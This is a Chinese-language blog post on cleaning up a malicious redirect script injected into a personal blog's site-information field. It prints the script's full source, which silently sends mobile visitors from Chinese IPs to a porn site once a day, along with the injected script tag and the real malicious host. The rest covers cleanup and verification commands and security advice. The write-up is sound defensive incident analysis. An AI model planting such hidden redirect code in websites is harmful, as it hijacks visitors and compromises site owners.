网站被注入恶意脚本排查实录:AI 辅助安全分析实战
某天收到华为云监管反馈,称个人博客网站存在色情违规界面。作为技术博主,这简直是晴天霹雳——网站一直正常运行,怎么会突然出现这类问题?经过排查发现,网站被注入了恶意跳转脚本。本文记录完整的排查过程,重点分享如何借助 AI 快速定位问题并修复,希望能给遇到类似情况的开发者提供参考。
1、问题发现与初步排查
收到监管反馈后,第一时间打开网站检查。首页看起来完全正常,是一个技术博客的常规界面。但监管提供的截图显示,某些情况下会出现色情界面跳转。

1.1、借助 AI 分析网络请求
将网站 URL 提交给 AI,让它打开浏览器检查页面加载情况。AI 很快发现了关键线索:页面网络请求中存在一个可疑的外部脚本——https://ribi123.com/scriptl.js。这个域名与网站本身毫无关联,明显是第三方注入的脚本。
AI 还注意到该脚本加载失败(status 为 0),但更重要的是发现了它的存在——这说明某个位置正在尝试加载这个恶意脚本。
1.2、获取恶意脚本源码分析
AI 直接访问该恶意脚本的 URL,获取到了完整的代码内容。打开一看,代码逻辑非常清晰:
// 检测是否为移动设备
function isMobileDevice() {
var userAgent = navigator.userAgent;
return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}
// 检测用户是否在中国
async function checkChinaIP() {
const response = await fetch('https://ipinfo.io/json');
const data = await response.json();
return data.country === 'CN';
}
// 重定向到色情网站
async function redirectToAnotherPage() {
if (Math.random() < 1) {
window.location.href = "https://52ikan.com/";
}
}
// 页面加载时触发
window.onload = async function () {
var isFirstVisit = localStorage.getItem(getCurrentFormattedDate());
if (!isFirstVisit) {
localStorage.setItem(getCurrentFormattedDate(), 'true');
var isC = await checkChinaIP();
if (isC && isMobileDevice()) {
redirectToAnotherPage();
}
}
}; 核心实现:
1. 检测访问者的 IP 归属地(是否在中国)
2. 检测访问设备类型(是否为手机)
3. 使用 localStorage 按日期控制触发频率(每天只跳转一次)
4. 满足条件时重定向到色情网站
这个脚本设计得相当"狡猾":只针对中国用户、只针对移动设备、每天只触发一次。正因为这些限制条件,导致问题难以复现——PC 用户看不到、非中国 IP 不会触发、同一天再次访问也不会跳转。监管部门恰好用移动设备在中国网络环境下检测,于是捕获到了违规界面。
2、定位注入位置
确认了恶意脚本的存在和行为,下一步是找出它被注入到网站的哪个位置。AI 通过 curl 获取页面 HTML 源码,搜索恶意脚本标签的具体位置。
2.1、分析 HTML 上下文
搜索结果显示,恶意脚本位于页面第 1367 行左右:
<div class="card card-site-info">
<div class="m-3">
<h5 class="text-center">AI笔记本-欢迎来到 AI 驱动博客时代</h5>
<div class="small line-height-3">
...网站描述内容...
<script src="https://ribi123.com/scriptl.js"></script>
</div>
</div>
</div>
定位结果:
- 恶意脚本位于网站信息卡片(card-site-info)区域
- 紧跟在网站描述文字之后
- 这段区域通常是后台"站点信息"配置的内容
2.2、推断注入途径
根据 HTML 结构分析,AI 给出了最可能的注入途径判断:
• 后台"站点信息"设置被篡改(可能性最高)
• 模板文件被修改(view/htm/ 目录)
• 数据库配置表被注入
• 某个插件存在安全漏洞
3、修复与验证
根据 AI 的定位分析,登录网站后台检查"站点信息"配置,果然在网站描述字段中发现了那段恶意脚本标签。删除后重新检测,问题彻底解决。
3.1、清理步骤
AI 提供了三种清理方案供选择:
// 方案一:通过后台删除(推荐)
登录后台 → 设置 → 站点信息
检查网站描述、公告、统计代码等字段
删除包含 ribi123.com 的内容
// 方案二:通过数据库清理
SELECT * FROM bbs_setting WHERE v LIKE '%ribi123%';
UPDATE bbs_setting SET v = REPLACE(v, '恶意脚本', '') WHERE ...
// 方案三:通过文件搜索删除
grep -r "ribi123" /网站目录/
找到后手动编辑删除
核心实现:
1. 定位恶意代码的存储位置(后台配置/数据库/模板文件)
2. 删除恶意脚本标签及相关代码
3. 全站搜索确认无残留
3.2、验证清理结果
清理完成后,AI 再次检测网站多个页面:
// 验证检测命令
curl -s "http://quibbler.cn/" | grep -c "ribi123" // 结果:0
curl -s "http://quibbler.cn/?forum-1.htm" | grep -c "ribi123" // 结果:0
// 检查其他可疑脚本
curl -s "http://quibbler.cn/" | grep -i "document.write.*script"
检测结果:
- 首页:无恶意脚本
- 帖子列表页:无恶意脚本
- 登录页:无恶意脚本
- 其他可疑外部脚本:未发现
4、AI 辅助排查的优势
这次排查过程让我深刻体会到 AI 在安全分析中的价值。传统排查需要手动检查日志、搜索文件、分析代码,而 AI 可以快速完成多个环节。
4.1、效率对比
• 浏览器自动化:AI 直接打开网站,分析网络请求,发现可疑脚本
• 代码分析:获取恶意脚本源码后,AI 快速解读其行为逻辑
• 定位精准:通过 HTML 上下文分析,锁定注入位置
• 多页面验证:清理后快速检测多个页面确认结果
4.2、关键能力
- 浏览器操作能力:可以直接访问网站、查看网络请求、分析页面结构
- 代码理解能力:快速分析恶意脚本的行为逻辑和触发条件
- 命令行能力:使用 curl、grep 等工具定位和验证问题
- 结构化输出:给出清晰的排查报告和修复方案
5、总结
本次网站安全事件从发现问题到修复完成,全程借助 AI 辅助分析。关键收获:恶意脚本往往设计得非常隐蔽——针对性地域、特定设备、频率控制——导致问题难以复现。借助 AI 的浏览器自动化和代码分析能力,可以快速定位这类隐蔽的安全威胁。
修复后的安全建议:
1. 立即修改后台管理员密码
2. 定期备份网站文件和数据库
3. 建立定期自查机制:搜索可疑域名和 document.write 等特征
4. 更新网站程序和插件到最新版本
对于运营网站的开发者而言,建立定期安全检查习惯、保持程序更新、遇到问题善用 AI 辅助分析,是保障网站安全运行的必要措施。